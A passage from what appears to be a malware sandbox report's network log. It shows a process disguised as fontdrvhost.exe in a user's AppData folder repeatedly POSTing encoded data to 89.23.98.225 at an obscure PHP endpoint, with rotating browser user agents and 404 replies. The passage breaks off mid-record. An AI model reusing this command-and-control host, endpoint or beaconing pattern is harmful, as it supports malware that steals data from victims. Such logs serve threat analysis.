Mar 29, 2024 07:37:32.560790062 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:32 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:32.563004017 CET	344	OUT	Data Raw: 05 07 04 0c 06 0a 01 07 05 06 02 01 02 0d 01 04 00 04 05 0c 02 02 03 08 03 05 0e 54 07 01 06 00 0f 0f 03 0a 02 50 04 50 0e 01 05 56 04 01 06 01 07 04 0d 00 0a 06 04 07 05 0e 03 0c 07 01 06 0e 03 06 0c 00 06 0e 05 08 0c 54 0f 57 0f 04 0b 01 07 06 Data Ascii: TPPVTWT\L}ShNjOc\v_uf`OUavtO~sk^{\|sopT}npC`Iw]iO~V@{CT~\q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	89.23.98.225	80	3624	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:37.301199913 CET	345	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:37.543878078 CET	294	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:37 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 29, 2024 07:37:37.554234982 CET	344	OUT	Data Raw: 05 05 04 07 06 0c 01 07 05 06 02 01 02 03 01 05 00 0b 05 01 02 0d 03 08 03 0f 0f 51 06 53 01 57 0c 0f 05 01 00 53 03 0b 0c 01 04 04 05 54 07 00 03 03 0e 0d 0c 02 04 0b 06 57 04 07 06 02 05 00 00 05 0a 0c 04 07 06 52 0d 00 0b 05 0d 07 0d 05 04 04 Data Ascii: QSWSTWRPQVQ\L~Yv`bvXv[p\|\|T]tlpLMRxUHlYzJ\|}^tpiO~V@{SPbq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	89.23.98.225	80	5572	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:41.258721113 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:41.497651100 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:41 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:41.499818087 CET	344	OUT	Data Raw: 00 02 01 01 03 0b 04 05 05 06 02 01 02 03 01 0a 00 0b 05 08 02 01 03 00 00 00 0d 0c 04 54 06 03 0a 00 03 09 02 50 04 55 0e 53 02 05 07 57 07 54 04 53 0d 00 0f 03 04 05 04 57 03 06 06 56 06 00 05 0a 0f 59 05 54 04 56 0d 05 0b 04 0d 50 0d 51 07 03 Data Ascii: TPUSWTSWVYTVPQ]S\L~ci^wbj^ue\|\|ouBwBtO~`cZoRsJo`b\|~kPt^tAie~V@zmPA~bW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	89.23.98.225	80	7272	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:37:55.065041065 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:37:55.308947086 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:37:55 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:37:55.312774897 CET	344	OUT	Data Raw: 05 00 04 06 03 08 01 05 05 06 02 01 02 04 01 00 00 05 05 0d 02 0c 03 09 03 01 0d 51 04 52 01 50 0a 07 06 0a 07 02 07 04 0b 03 04 07 04 06 07 55 06 53 0e 0d 0d 50 05 06 01 07 03 04 07 02 05 00 02 06 0a 0e 06 03 06 51 0c 03 0c 53 0e 06 0f 01 02 02 Data Ascii: QRPUSPQSV\L}Rhce\crSa[wP\|oiOwB\|s]_xll_{N~D\|hA`\|OiO~V@@xCnru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	89.23.98.225	80	7244	C:\Users\user\AppData\Local\fontdrvhost.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:38:03.072562933 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 89.23.98.225 Content-Length: 336 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:38:03.309076071 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:38:03 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:38:03.311923981 CET	336	OUT	Data Raw: 00 01 04 06 03 08 04 05 05 06 02 01 02 05 01 02 00 0b 05 0e 02 05 03 00 03 03 0a 00 07 03 02 09 0f 51 03 08 00 57 05 00 0c 53 06 01 00 00 04 07 04 50 0d 59 0d 03 07 07 06 03 07 07 06 51 04 0c 05 00 0f 0c 04 56 07 04 0f 57 0b 02 0e 01 0c 51 04 01 Data Ascii: QWSPYQVWQU\U\L~Nsj`LSLvfpO~\|SMtl\|ksxll{pi^}t@vwl}e~V@@z}nNuy

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49746	89.23.98.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:38:15.792608976 CET	345	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:38:16.050306082 CET	294	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:38:15 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 29, 2024 07:38:16.254513025 CET	344	OUT	Data Raw: 05 00 04 07 03 08 04 05 05 06 02 01 02 0d 01 02 00 06 05 09 02 07 03 0f 02 03 0c 01 04 0e 00 00 0f 01 06 5a 01 02 06 05 0e 01 07 06 00 07 06 03 04 07 0c 5d 0a 07 04 00 06 05 06 51 05 01 04 00 01 01 0e 59 07 51 01 01 0c 53 0b 0f 0c 00 0e 08 07 57 Data Ascii: Z]QYQSW[\L}S\|Ne]wnYaetA}`UoX\|MRoBp[{ceX}m{S`I\|Au~V@xmbN}LS

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49747	89.23.98.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:38:30.363462925 CET	333	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:38:30.605541945 CET	294	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:38:30 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 29, 2024 07:38:30.607585907 CET	344	OUT	Data Raw: 00 06 04 01 03 0d 01 04 05 06 02 01 02 04 01 00 00 06 05 0f 02 03 03 0d 03 06 0d 03 05 02 00 06 0f 51 06 5a 07 05 06 0b 0c 07 05 57 06 03 06 01 03 02 0c 5b 0f 0f 05 07 06 0e 06 51 04 56 05 01 02 05 0c 0e 05 05 01 04 0b 03 0c 05 0c 54 0b 04 02 07 Data Ascii: QZW[QVTZTPR\L~C`uZtaj^beRBklr^tRZh\|oRRZo`bmpCwI{^}e~V@@xCb~Le

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49748	89.23.98.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:38:43.429280996 CET	398	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:38:43.666553020 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:38:43 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 29, 2024 07:38:43.669164896 CET	344	OUT	Data Raw: 00 01 04 01 06 0c 04 00 05 06 02 01 02 0d 01 02 00 0b 05 0c 02 07 03 01 01 0e 0e 06 05 07 03 52 0e 04 04 0c 03 03 06 00 0e 51 02 01 05 00 04 56 07 03 0d 00 0e 04 06 02 04 55 07 0d 07 03 06 08 05 0b 0e 59 05 51 06 53 0b 0e 0f 07 0d 54 0d 01 04 0c Data Ascii: RQVUYQSTP\L~@k^e[vrbXb[^BjYt\|c^`txdX{`yX\|m\|CwIU[e~V@xmP}L[

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49749	89.23.98.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 07:38:55.054544926 CET	381	OUT	POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 89.23.98.225 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Mar 29, 2024 07:38:55.290139914 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 29 Mar 2024 06:38:55 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 